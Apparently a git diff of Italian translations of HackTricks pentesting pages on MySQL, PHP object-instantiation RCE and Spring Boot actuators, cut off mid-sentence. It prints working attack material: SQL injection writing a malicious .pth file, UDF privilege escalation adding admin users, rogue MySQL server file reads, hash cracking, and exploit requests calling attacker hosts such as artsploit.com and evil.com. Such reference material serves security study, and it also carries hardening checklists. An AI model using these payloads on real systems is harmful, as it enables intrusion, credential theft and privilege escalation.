'/**/UNION/**/SELECT/**/token/**/FROM/**/fabric_user.user_table/**/INTO/**/OUTFILE/**/'../../lib/python3.10/site-packages/x.pth' ``` -Limitazioni importanti & bypasses: +Limitazioni importanti e bypass: -* `INTO OUTFILE` **non può sovrascrivere** file esistenti; scegliere un nuovo nome del file. -* Il percorso del file viene risolto **relativamente alla CWD di MySQL**, quindi anteporre `../../` aiuta ad accorciare il percorso e bypassare le restrizioni sui percorsi assoluti. -* Se l'input dell'attaccante viene letto con `%128s` (o simile) qualsiasi spazio troncherà il payload; usare le sequenze di commento di MySQL `/**/` o `/*!*/` per sostituire gli spazi. -* L'utente MySQL che esegue la query necessita del privilegio `FILE`, ma in molti appliance (es. FortiWeb) il servizio gira come **root**, concedendo l'accesso in scrittura quasi ovunque. +* `INTO OUTFILE` **non può sovrascrivere** file esistenti; scegliere un nuovo nome di file. +* Il percorso del file viene risolto **relativo alla CWD di MySQL**, quindi prefissare con `../../` aiuta ad abbreviare il percorso e a bypassare le restrizioni sui percorsi assoluti. +* Se l'input dell'attaccante viene estratto con `%128s` (o simile) qualsiasi spazio troncherà il payload; usare le sequenze di commento MySQL `/**/` o `/*!*/` per sostituire gli spazi. +* L'utente MySQL che esegue la query necessita del privilegio `FILE`, ma in molti appliance (es. FortiWeb) il servizio gira come **root**, conferendo accesso in scrittura quasi ovunque. -Dopo aver inserito il `.pth`, basta richiedere qualsiasi CGI gestito dal python interpreter per ottenere code execution: +Dopo aver scritto il `.pth`, basta richiedere qualsiasi CGI gestito dall'interprete python per ottenere l'esecuzione di codice: ``` GET /cgi-bin/ml-draw.py HTTP/1.1 Host: ``` -Il processo Python importerà automaticamente il `.pth` malevolo ed eseguirà il shell payload. +Il processo Python importerà automaticamente il file `.pth` maligno ed eseguirà lo shell payload. ``` # Attacker $ nc -lvnp 4444 id uid=0(root) gid=0(root) groups=0(root) ``` -## MySQL lettura arbitraria di file da parte del client +--- -Infatti, quando provi a **load data local into a table** il **contenuto di un file**, il server MySQL o MariaDB chiede al **client** di leggerlo e inviarne il contenuto. **Quindi, se riesci a manomettere un mysql client per connettersi al tuo server MySQL, puoi leggere file arbitrari.**\ -Nota che questo è il comportamento utilizzando: +## MySQL: lettura arbitraria di file tramite il client + +In realtà, quando provi a **load data local into a table** il **contenuto di un file**, il server MySQL o MariaDB chiede al **client di leggerlo** e inviare il contenuto. **Quindi, se puoi manomettere un mysql client per connettersi al tuo server MySQL, puoi leggere file arbitrari.**\ +Nota che questo è il comportamento usando: ```bash load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; ``` @@ -160,7 +162,7 @@ mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement ``` **PoC iniziale:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\ -**In questo articolo puoi vedere una descrizione completa dell'attacco e anche come estenderlo a RCE:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\ +**In questo paper puoi vedere una descrizione completa dell'attacco e anche come estenderlo a RCE:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\ **Qui puoi trovare una panoramica dell'attacco:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/) ​ @@ -171,23 +173,23 @@ ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv opti ### Utente Mysql -Sarà molto interessante se mysql è in esecuzione come **root**: +Sarebbe molto interessante se mysql fosse eseguito come **root**: ```bash cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user" systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1 ``` -#### Dangerous Settings of mysqld.cnf +#### Impostazioni pericolose di mysqld.cnf -Nella configurazione dei servizi MySQL, sono usate diverse impostazioni per definire il suo funzionamento e le misure di sicurezza: +Nella configurazione dei servizi MySQL, varie impostazioni vengono utilizzate per definire il suo funzionamento e le misure di sicurezza: -- The **`user`** setting is utilized for designating the user under which the MySQL service will be executed. -- **`password`** is applied for establishing the password associated with the MySQL user. -- **`admin_address`** specifies the IP address that listens for TCP/IP connections on the administrative network interface. -- The **`debug`** variable is indicative of the present debugging configurations, including sensitive information within logs. -- **`sql_warnings`** manages whether information strings are generated for single-row INSERT statements when warnings emerge, containing sensitive data within logs. -- With **`secure_file_priv`**, the scope of data import and export operations is constrained to enhance security. +- L'impostazione **`user`** viene utilizzata per designare l'utente sotto cui il servizio MySQL verrà eseguito. +- **`password`** è usata per stabilire la password associata all'utente MySQL. +- **`admin_address`** specifica l'indirizzo IP che ascolta per connessioni TCP/IP sull'interfaccia di rete amministrativa. +- La variabile **`debug`** indica le configurazioni di debug attuali, inclusa la presenza di informazioni sensibili nei log. +- **`sql_warnings`** gestisce se vengono generate stringhe informative per le istruzioni INSERT di singola riga quando emergono warning, che possono contenere dati sensibili nei log. +- Con **`secure_file_priv`**, l'ambito delle operazioni di importazione ed esportazione dei dati è vincolato per aumentare la sicurezza. -### Privilege escalation +### Escalation dei privilegi ```bash # Get current user (an all users) privileges and hashes use mysql; @@ -205,18 +207,18 @@ grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mys # Get a shell (with your permissions, usefull for sudo/suid privesc) \! sh ``` -### Privilege Escalation via library +### Escalation dei privilegi tramite libreria -Se il **mysql server is running as root** (o un altro utente con privilegi più elevati) puoi farlo eseguire comandi. Per questo, devi usare le **user defined functions**. E per crearne una avrai bisogno di una **library** per il sistema operativo che esegue mysql. +Se il **mysql server è in esecuzione come root** (o come un altro utente con privilegi più elevati) puoi farlo eseguire comandi. Per questo, devi usare le **user defined functions**. E per creare una user defined avrai bisogno di una **libreria** per il sistema operativo che esegue mysql. -La library malevola da usare può essere trovata all'interno di sqlmap e di metasploit eseguendo **`locate "*lib_mysqludf_sys*"`**. I file **`.so`** sono librerie **linux** e i **`.dll`** sono quelli **Windows**; scegli quella di cui hai bisogno. +La libreria malevola da usare può essere trovata all'interno di sqlmap e di metasploit eseguendo **`locate "*lib_mysqludf_sys*"`**. I file **`.so`** sono librerie **linux** e i **`.dll`** sono quelli di **Windows**, scegli quella che ti serve. -Se **non hai** quelle library, puoi o **cercarle**, oppure scaricare questo [**linux C code**](https://www.exploit-db.com/exploits/1518) e **compilarlo nella macchina linux vulnerabile**: +Se **non hai** quelle librerie, puoi oppure **cercarle**, oppure scaricare questo [**linux C code**](https://www.exploit-db.com/exploits/1518) e **compilarlo sulla macchina linux vulnerabile**: ```bash gcc -g -c raptor_udf2.c gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc ``` -Ora che hai la libreria, effettua l'accesso a Mysql come utente privilegiato (root?) e segui i passaggi seguenti: +Ora che hai la libreria, fai login in Mysql come utente privilegiato (root?) e segui i passi seguenti: #### Linux ```sql @@ -250,14 +252,14 @@ CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys_32.dll'; SELECT sys_exec("net user npn npn12345678 /add"); SELECT sys_exec("net localgroup Administrators npn /add"); ``` -#### Suggerimento Windows: creare directory con NTFS ADS da SQL +#### Windows tip: creare directory con NTFS ADS da SQL -Su NTFS puoi forzare la creazione di directory usando un alternate data stream anche quando è disponibile solo una primitiva di scrittura su file. Se la classic UDF chain si aspetta una directory `plugin` ma questa non esiste e `@@plugin_dir` è sconosciuto o bloccato, puoi crearla prima con `::$INDEX_ALLOCATION`: +Su NTFS puoi forzare la creazione di directory usando un alternate data stream anche quando è disponibile soltanto una primitiva di scrittura su file. Se la classica UDF chain si aspetta una directory `plugin` ma questa non esiste e `@@plugin_dir` è sconosciuta o bloccata, puoi crearla prima con `::$INDEX_ALLOCATION`: ```sql SELECT 1 INTO OUTFILE 'C:\\MySQL\\lib\\plugin::$INDEX_ALLOCATION'; -- After this, `C:\\MySQL\\lib\\plugin` exists as a directory ``` -Questo trasforma il limitato `SELECT ... INTO OUTFILE` in una primitiva più completa sugli stack Windows creando la struttura di cartelle necessaria per i drop di UDF. +Questo trasforma il limitato `SELECT ... INTO OUTFILE` in una primitiva più completa su stack Windows creando la struttura di cartelle necessaria per il drop delle UDF. ### Estrazione delle credenziali MySQL da file @@ -265,9 +267,9 @@ All'interno di _/etc/mysql/debian.cnf_ puoi trovare la **password in chiaro** de ```bash cat /etc/mysql/debian.cnf ``` -Puoi **usare queste credentials per effettuare il login nel database mysql**. +Puoi **usare queste credenziali per effettuare il login nel database mysql**. -All'interno del file: _/var/lib/mysql/mysql/user.MYD_ puoi trovare **tutti gli hash degli utenti MySQL** (quelli che puoi estrarre da mysql.user all'interno del database). +All'interno del file: _/var/lib/mysql/mysql/user.MYD_ puoi trovare **tutti gli hash degli utenti MySQL** (quelli che puoi estrarre da mysql.user all'interno del database)_._ Puoi estrarli eseguendo: ```bash @@ -275,7 +277,7 @@ grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_na ``` ### Abilitare il logging -È possibile abilitare il logging delle query MySQL all'interno di `/etc/mysql/my.cnf` decommentando le seguenti righe: +È possibile abilitare la registrazione delle query di mysql nel file `/etc/mysql/my.cnf` rimuovendo il commento dalle seguenti righe: ![](<../images/image (899).png>) @@ -296,14 +298,14 @@ File di configurazione - /var/lib/mysql/my.cnf - \~/.my.cnf - /etc/my.cnf -- Cronologia dei comandi +- Cronologia comandi - \~/.mysql.history - File di log - connections.log - update.log - common.log -## Database/Tabelle predefinite di MySQL +## Database/Tabelle MySQL predefinite {{#tabs}} {{#tab name="information_schema"}} @@ -608,13 +610,13 @@ x$statements\_with\_errors\_or\_warnings\ x$statements_with_full_table_scans\ x$statements\_with\_runtimes\_in\_95th\_percentile\ x$statements_with_sorting\ -x$statements_with_temp_tables\ +x$statements\_with\_temp\_tables\ x$user_summary\ x$user\_summary\_by\_file\_io\ x$user_summary_by_file_io_type\ x$user\_summary\_by\_stages\ x$user_summary_by_statement_latency\ -x$user\_summary_by_statement_type\ +x$user\_summary\_by\_statement\_type\ x$wait_classes_global_by_avg_latency\ x$wait\_classes\_global\_by\_latency\ x$waits_by_host_by_latency\ @@ -657,33 +659,33 @@ Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS ## 2023-2025 Punti salienti (nuovo) ### JDBC `propertiesTransform` deserialization (CVE-2023-21971) -Da Connector/J <= 8.0.32 un attacker che può influenzare la **JDBC URL** (per esempio in software di terze parti che chiede una connection string) può richiedere il caricamento di classi arbitrarie sul *client* tramite il parametro `propertiesTransform`. Se un gadget presente nel class-path è caricabile, questo porta a **remote code execution nel contesto del JDBC client** (pre-auth, perché non sono richieste credenziali valide). Un PoC minimale è il seguente: +Da Connector/J <= 8.0.32 un attacker che può influenzare la **JDBC URL** (ad esempio in software di terze parti che richiede una stringa di connessione) può richiedere il caricamento di classi arbitrarie sul lato *client* tramite il parametro `propertiesTransform`. Se un gadget presente sul class-path è caricabile, ciò comporta **remote code execution in the context of the JDBC client** (pre-auth, perché non sono richieste credenziali valide). Un PoC minimo è il seguente: ```java jdbc:mysql://:3306/test?user=root&password=root&propertiesTransform=com.evil.Evil ``` -Eseguire `Evil.class` può essere semplice come metterlo nel class-path dell'applicazione vulnerabile o permettere a un rogue MySQL server di inviare un oggetto serializzato malevolo. Il problema è stato risolto in Connector/J 8.0.33 – aggiorna il driver o imposta esplicitamente `propertiesTransform` in una allow-list. -(Vedi Snyk write-up per i dettagli) +Eseguire `Evil.class` può essere semplice come posizionarlo nel class-path dell'applicazione vulnerabile o permettere a un rogue MySQL server di inviare un oggetto serializzato malevolo. Il problema è stato risolto in Connector/J 8.0.33 – aggiorna il driver o imposta esplicitamente `propertiesTransform` in una allow-list. +(Vedi il write-up di Snyk per i dettagli) -### Rogue / Fake MySQL server attacks contro client JDBC -Diversi strumenti open-source implementano un protocollo MySQL *parziale* per attaccare client JDBC che si connettono verso l'esterno: +### Attacchi da Rogue / Fake MySQL server contro client JDBC +Diversi strumenti open-source implementano un protocollo *parziale* MySQL per attaccare client JDBC che effettuano connessioni in uscita: -* **mysql-fake-server** (Java, supports file read and deserialization exploits) -* **rogue_mysql_server** (Python, similar capabilities) +* **mysql-fake-server** (Java, supporta lettura di file e exploit di deserializzazione) +* **rogue_mysql_server** (Python, capacità simili) -Percorsi di attacco tipici: +Percorsi d'attacco tipici: 1. L'applicazione vittima carica `mysql-connector-j` con `allowLoadLocalInfile=true` o `autoDeserialize=true`. -2. L'attaccante controlla DNS / host entry in modo che il nome host del DB risolva su una macchina sotto il suo controllo. -3. Il server malevolo risponde con pacchetti costruiti che innescano o la lettura arbitraria di file tramite `LOCAL INFILE` o Java deserialization → RCE. +2. L'attaccante controlla DNS / voci host in modo che il nome host del DB risolva in una macchina sotto il loro controllo. +3. Il server malevolo risponde con pacchetti appositamente costruiti che attivano o la lettura arbitraria di file via `LOCAL INFILE` o la deserializzazione Java → RCE. Esempio di one-liner per avviare un fake server (Java): ```bash java -jar fake-mysql-cli.jar -p 3306 # from 4ra1n/mysql-fake-server ``` -Quindi indirizza l'applicazione vittima a `jdbc:mysql://attacker:3306/test?allowLoadLocalInfile=true` e leggi `/etc/passwd` codificando il nome del file in base64 nel campo *username* (`fileread_/etc/passwd` → `base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=`). +Quindi punta l'applicazione vittima a `jdbc:mysql://attacker:3306/test?allowLoadLocalInfile=true` e leggi `/etc/passwd` codificando il nome del file in base64 nel campo *username* (`fileread_/etc/passwd` → `base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=`). ### Cracking `caching_sha2_password` hashes -MySQL ≥ 8.0 memorizza gli hash delle password come **`$mysql-sha2$`** (SHA-256). Sia Hashcat (mode **21100**) che John-the-Ripper (`--format=mysql-sha2`) supportano offline cracking dal 2023. Esegui il dump della colonna `authentication_string` e forniscila direttamente: +MySQL ≥ 8.0 memorizza gli hash delle password come **`$mysql-sha2$`** (SHA-256). Sia Hashcat (mode **21100**) sia John-the-Ripper (`--format=mysql-sha2`) supportano il cracking offline dal 2023. Effettua il dump della colonna `authentication_string` e fornisci direttamente il contenuto: ```bash # extract hashes echo "$mysql-sha2$AABBCC…" > hashes.txt @@ -693,11 +695,11 @@ hashcat -a 0 -m 21100 hashes.txt /path/to/wordlist john --format=mysql-sha2 hashes.txt --wordlist=/path/to/wordlist ``` ### Checklist di hardening (2025) -• Impostare **`LOCAL_INFILE=0`** e **`--secure-file-priv=/var/empty`** per eliminare la maggior parte delle primitive di lettura/scrittura dei file. -• Rimuovere il privilegio **`FILE`** dagli account delle applicazioni. +• Impostare **`LOCAL_INFILE=0`** e **`--secure-file-priv=/var/empty`** per neutralizzare la maggior parte delle primitive di lettura/scrittura di file. +• Rimuovere il privilegio **`FILE`** dagli account applicativi. • Su Connector/J impostare `allowLoadLocalInfile=false`, `allowUrlInLocalInfile=false`, `autoDeserialize=false`, `propertiesTransform=` (vuoto). -• Disabilitare i plugin di autenticazione non utilizzati e richiedere **TLS** (`require_secure_transport = ON`). -• Monitorare la presenza di `CREATE FUNCTION`, `INSTALL COMPONENT`, `INTO OUTFILE`, `LOAD DATA LOCAL` e improvvisi statement `SET GLOBAL`. +• Disabilitare i plugin di autenticazione non utilizzati e **richiedere TLS** (`require_secure_transport = ON`). +• Monitorare la presenza di `CREATE FUNCTION`, `INSTALL COMPONENT`, `INTO OUTFILE`, `LOAD DATA LOCAL` e improvvise istruzioni `SET GLOBAL`. --- diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md index 469466b28..74b37f638 100644 --- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md +++ b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md @@ -2,17 +2,17 @@ {{#include ../../../banners/hacktricks-training.md}} -This is basically a summary of [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) +Questo è fondamentalmente un riepilogo di [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) ## Introduzione La creazione di nuovi oggetti arbitrari, come `new $_GET["a"]($_GET["a"])`, può portare a Remote Code Execution (RCE), come dettagliato in una [**analisi**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/). Questo documento evidenzia varie strategie per ottenere RCE. -## RCE via Custom Classes or Autoloading +## RCE tramite classi personalizzate o autoloading -La sintassi `new $a($b)` è usata per istanziare un oggetto dove **`$a`** rappresenta il nome della classe e **`$b`** è il primo argomento passato al costruttore. Queste variabili possono essere ottenute da input utente come GET/POST, dove possono essere stringhe o array, o da JSON, dove possono presentarsi come altri tipi. +La sintassi `new $a($b)` viene utilizzata per istanziare un oggetto dove **`$a`** rappresenta il nome della classe e **`$b`** è il primo argomento passato al costruttore. Queste variabili possono provenire da input utente come GET/POST, dove possono essere stringhe o array, o da JSON, dove potrebbero presentarsi come altri tipi. -Considera lo snippet di codice sotto: +Considera lo snippet di codice qui sotto: ```php class App { function __construct ($cmd) { @@ -31,9 +31,9 @@ $b = $_GET['b']; new $a($b); ``` -In questo caso, impostare `$a` su `App` o `App2` e `$b` su un comando di sistema (ad es., `uname -a`) provoca l'esecuzione di quel comando. +In questo caso, impostare `$a` su `App` o `App2` e `$b` su un comando di sistema (es., `uname -a`) porta all'esecuzione di quel comando. -**Funzioni di autoloading** possono essere sfruttate se tali classi non sono direttamente accessibili. Queste funzioni caricano automaticamente le classi da file quando necessario e sono definite usando `spl_autoload_register` o `__autoload`: +**Funzioni di autoloading** possono essere sfruttate se tali classi non sono direttamente accessibili. Queste funzioni caricano automaticamente le classi dai file quando necessario e sono definite usando `spl_autoload_register` o `__autoload`: ```php spl_autoload_register(function ($class_name) { include './../classes/' . $class_name . '.php'; @@ -47,70 +47,70 @@ spl_autoload_register(); ``` Il comportamento dell'autoloading varia tra le versioni di PHP, offrendo diverse possibilità di RCE. -## RCE tramite classi built-in +## RCE via Built-In Classes -In assenza di classi personalizzate o di autoloader, **le classi built-in di PHP** possono essere sufficienti per ottenere RCE. Il numero di queste classi varia tra 100 e 200, a seconda della versione di PHP e delle estensioni. Possono essere elencate usando `get_declared_classes()`. +In assenza di classi custom o autoloaders, **built-in PHP classes** possono essere sufficienti per RCE. Il numero di queste classi varia tra le 100 e le 200, in base alla versione di PHP e alle estensioni. Possono essere elencate usando `get_declared_classes()`. -I costruttori di interesse possono essere identificati tramite la reflection API, come mostrato nel seguente esempio e nel link [https://3v4l.org/2JEGF](https://3v4l.org/2JEGF). +I costruttori di interesse possono essere identificati tramite la reflection API, come mostrato nell'esempio seguente e nel link [https://3v4l.org/2JEGF](https://3v4l.org/2JEGF). -Esempi di RCE tramite metodi specifici: +**RCE via specific methods includes:** ### **SSRF + Phar Deserialization** -La classe `SplFileObject` permette SSRF tramite il suo costruttore, consentendo connessioni a qualsiasi URL: +La classe `SplFileObject` abilita SSRF tramite il suo costruttore, permettendo connessioni a qualsiasi URL: ```php new SplFileObject('http://attacker.com/'); ``` -SSRF può portare a deserialization attacks nelle versioni di PHP precedenti alla 8.0 usando il protocollo Phar. +SSRF può portare a deserialization attacks in versioni di PHP precedenti alla 8.0 utilizzando il Phar protocol. -### **Exploiting PDOs** +### **Sfruttare PDOs** -Il costruttore della classe PDO consente connessioni a database tramite stringhe DSN, potenzialmente abilitando la creazione di file o altre interazioni: +Il PDO class constructor permette connessioni a database tramite DSN strings, potenzialmente abilitando la creazione di file o altre interazioni: ```php new PDO("sqlite:/tmp/test.txt") ``` ### **SoapClient/SimpleXMLElement XXE** -Le versioni di PHP fino a 5.3.22 e 5.4.12 erano suscettibili agli attacchi XXE tramite i costruttori `SoapClient` e `SimpleXMLElement`, a seconda della versione di libxml2. +Versioni di PHP fino a 5.3.22 e 5.4.12 erano suscettibili ad attacchi XXE tramite i costruttori di `SoapClient` e `SimpleXMLElement`, a seconda della versione di libxml2. -## RCE via Imagick Extension +## RCE tramite estensione Imagick -Nell'analisi delle **dipendenze del progetto** è stato scoperto che **Imagick** poteva essere sfruttato per **command execution** istanziando nuovi oggetti. Questo rappresenta un'opportunità per sfruttare vulnerabilità. +Nell'analisi delle **dipendenze del progetto**, è stato scoperto che **Imagick** può essere sfruttato per **command execution** istanziando nuovi oggetti. Questo rappresenta un'opportunità per sfruttare vulnerabilità. ### VID parser -È stata identificata la capacità del VID parser di scrivere contenuti in qualsiasi percorso specificato del filesystem. Questo potrebbe portare al posizionamento di una shell PHP in una directory accessibile via web, ottenendo Remote Code Execution (RCE). +È stata identificata la capacità del VID parser di scrivere contenuti in qualsiasi percorso specificato nel filesystem. Questo potrebbe portare al posizionamento di una PHP shell in una directory accessibile via web, ottenendo Remote Code Execution (RCE). #### VID Parser + File Upload -Si osserva che PHP memorizza temporaneamente i file caricati in `/tmp/phpXXXXXX`. Il VID parser in Imagick, utilizzando il protocollo **msl**, può gestire wildcard nei percorsi dei file, facilitando il trasferimento del file temporaneo in una posizione scelta. Questo metodo offre un approccio aggiuntivo per ottenere la scrittura arbitraria di file all'interno del filesystem. +È da notare che PHP memorizza temporaneamente i file caricati in `/tmp/phpXXXXXX`. Il VID parser in Imagick, utilizzando il protocollo **msl**, può gestire wildcard nei percorsi dei file, facilitando il trasferimento del file temporaneo in una posizione scelta. Questo metodo offre un approccio aggiuntivo per ottenere la scrittura arbitraria di file nel filesystem. ### PHP Crash + Brute Force -Un metodo descritto nel [**original writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) prevede il caricamento di file che causano il crash del server prima della loro cancellazione. Bruteforcando il nome del file temporaneo, diventa possibile per Imagick eseguire codice PHP arbitrario. Tuttavia, questa tecnica si è rivelata efficace solo in una versione obsoleta di ImageMagick. +Un metodo descritto nella [**original writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) prevede il caricamento di file che causano il crash del server prima della loro cancellazione. Brute-forzando il nome del file temporaneo, diventa possibile per Imagick eseguire codice PHP arbitrario. Tuttavia, questa tecnica si è rivelata efficace solo in una versione obsoleta di ImageMagick. -## Format-string in class-name resolution (PHP 7.0.0 Bug #71105) +## Format-string nella risoluzione dei nomi di classe (PHP 7.0.0 Bug #71105) -Quando l'input utente controlla il nome della classe (es., `new $_GET['model']()`), PHP 7.0.0 ha introdotto un bug transitorio durante il refactor di `Throwable` in cui il motore interpretava per errore il nome della classe come una stringa di formato printf durante la risoluzione. Questo abilita i classici primitivi in stile printf all'interno di PHP: leaks con `%p`, controllo del conteggio di scrittura con specificatori di larghezza, e scritture arbitrarie con `%n` contro puntatori in-process (ad esempio, entry della GOT su build ELF). +Quando l'input utente controlla il nome della classe (es., `new $_GET['model']()`), in PHP 7.0.0 è stato introdotto un bug transitorio durante il refactor di `Throwable` per cui il motore interpretava erroneamente il nome della classe come una printf format string durante la risoluzione. Ciò abilita i classici printf-style primitives all'interno di PHP: leaks con `%p`, controllo del conteggio di scrittura con specifier di larghezza, e scritture arbitrarie con `%n` contro puntatori in-process (per esempio, voci GOT su build ELF). -Pattern minimo di riproduzione vulnerabile: +Minimal repro vulnerable pattern: ```php d%$n` per ottenere la sovrascrittura parziale desiderata. +- I payload tipici concatenano molti `%p` per scorrere lo stack, poi `%.d%$n` per ottenere la sovrascrittura parziale. ## Riferimenti diff --git a/src/network-services-pentesting/pentesting-web/spring-actuators.md b/src/network-services-pentesting/pentesting-web/spring-actuators.md index a45107036..1728fd16d 100644 --- a/src/network-services-pentesting/pentesting-web/spring-actuators.md +++ b/src/network-services-pentesting/pentesting-web/spring-actuators.md @@ -6,30 +6,30 @@
-**Da** \[**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png) +**Fonte** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png) -## Sfruttare gli Actuators di Spring Boot +## Sfruttare Spring Boot Actuators -**Controlla il post originale da** \[**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**] +**Vedi il post originale su** \[**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**] ### **Punti chiave:** -- Spring Boot Actuators registrano endpoint come `/health`, `/trace`, `/beans`, `/env`, ecc. Nelle versioni da 1 a 1.4 questi endpoint sono accessibili senza autenticazione. Dalla versione 1.5 in poi, di default solo `/health` e `/info` non sono considerati sensibili, ma gli sviluppatori spesso disabilitano questa protezione. -- Alcuni endpoint degli Actuator possono esporre dati sensibili o consentire azioni dannose: -- `/dump`, `/trace`, `/logfile`, `/shutdown`, `/mappings`, `/env`, `/actuator/env`, `/restart`, e `/heapdump`. -- In Spring Boot 1.x, gli actuator sono registrati sotto la root URL, mentre in 2.x si trovano sotto il path base `/actuator/`. +- Spring Boot Actuators registrano endpoint come `/health`, `/trace`, `/beans`, `/env`, ecc. Nelle versioni 1 fino a 1.4, questi endpoint sono accessibili senza autenticazione. Dalla versione 1.5 in poi, solo `/health` e `/info` sono non sensibili di default, ma gli sviluppatori spesso disabilitano questa protezione. +- Alcuni endpoint Actuator possono esporre dati sensibili o permettere azioni dannose: +- `/dump`, `/trace`, `/logfile`, `/shutdown`, `/mappings`, `/env`, `/actuator/env`, `/restart`, and `/heapdump`. +- In Spring Boot 1.x, gli actuators sono registrati sotto l'URL root, mentre in 2.x si trovano sotto il percorso base `/actuator/`. ### **Tecniche di sfruttamento:** 1. **Remote Code Execution via '/jolokia'**: -- L'endpoint `/jolokia` degli actuator espone la Jolokia Library, che permette l'accesso HTTP agli MBeans. -- L'azione `reloadByURL` può essere sfruttata per ricaricare configurazioni di logging da un URL esterno, il che può portare a blind XXE o Remote Code Execution tramite configurazioni XML manipolate. -- Example exploit URL: `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`. -2. **Modifica della configurazione via '/env'**: +- L'endpoint `/jolokia` espone la Jolokia Library, che permette accesso HTTP agli MBeans. +- L'azione `reloadByURL` può essere sfruttata per ricaricare configurazioni di logging da un URL esterno, il che può portare a blind XXE o a Remote Code Execution tramite configurazioni XML manipolate. +- Esempio di URL di exploit: `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`. +2. **Modifica della configurazione tramite '/env'**: - Se sono presenti le Spring Cloud Libraries, l'endpoint `/env` permette la modifica delle proprietà ambientali. -- Le proprietà possono essere manipolate per sfruttare vulnerabilità, come la vulnerabilità di deserializzazione XStream in Eureka serviceURL. -- Example exploit POST request: +- Le proprietà possono essere manipolate per sfruttare vulnerabilità, come la deserializzazione XStream nella serviceURL di Eureka. +- Esempio di richiesta POST di exploit: ``` POST /env HTTP/1.1 @@ -41,31 +41,31 @@ eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream ``` 3. **Altre impostazioni utili**: -- Proprietà come `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url`, e `spring.datasource.tomcat.max-active` possono essere manipolate per vari exploit, come SQL injection o alterazione delle stringhe di connessione al database. +- Proprietà come `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url`, e `spring.datasource.tomcat.max-active` possono essere manipolate per diversi exploit, come SQL injection o la modifica delle stringhe di connessione al database. ### **Informazioni aggiuntive:** -- Una lista esaustiva degli actuator di default può essere trovata [here](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt). +- Una lista completa degli actuators di default può essere trovata [qui](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt). - L'endpoint `/env` in Spring Boot 2.x usa il formato JSON per la modifica delle proprietà, ma il concetto generale rimane lo stesso. ### **Argomenti correlati:** 1. **Env + H2 RCE**: -- Dettagli su come sfruttare la combinazione dell'endpoint `/env` e del database H2 sono disponibili [here](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database). +- Dettagli sull'exploit della combinazione dell'endpoint `/env` e del database H2 si trovano [qui](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database). -2. **SSRF on Spring Boot Through Incorrect Pathname Interpretation**: -- La gestione dei matrix parameters (`;`) nel pathname HTTP da parte del framework Spring può essere sfruttata per Server-Side Request Forgery (SSRF). -- Example exploit request: +2. **SSRF su Spring Boot attraverso interpretazione errata del pathname**: +- Il comportamento del framework Spring nella gestione dei parametri matrix (`;`) nei path HTTP può essere sfruttato per Server-Side Request Forgery (SSRF). +- Esempio di richiesta di exploit: ```http GET ;@evil.com/url HTTP/1.1 Host: target.com Connection: close ``` -## HeapDump secrets mining (credentials, tokens, internal URLs) +## HeapDump secrets mining (credenziali, token, URL interni) -Se `/actuator/heapdump` è esposto, di solito puoi recuperare uno snapshot completo dell'heap JVM che frequentemente contiene segreti in uso (DB creds, API keys, Basic-Auth, internal service URLs, Spring property maps, ecc.). +Se `/actuator/heapdump` è esposto, di solito puoi recuperare un snapshot completo dell'heap JVM che spesso contiene secret attivi (credenziali DB, API key, 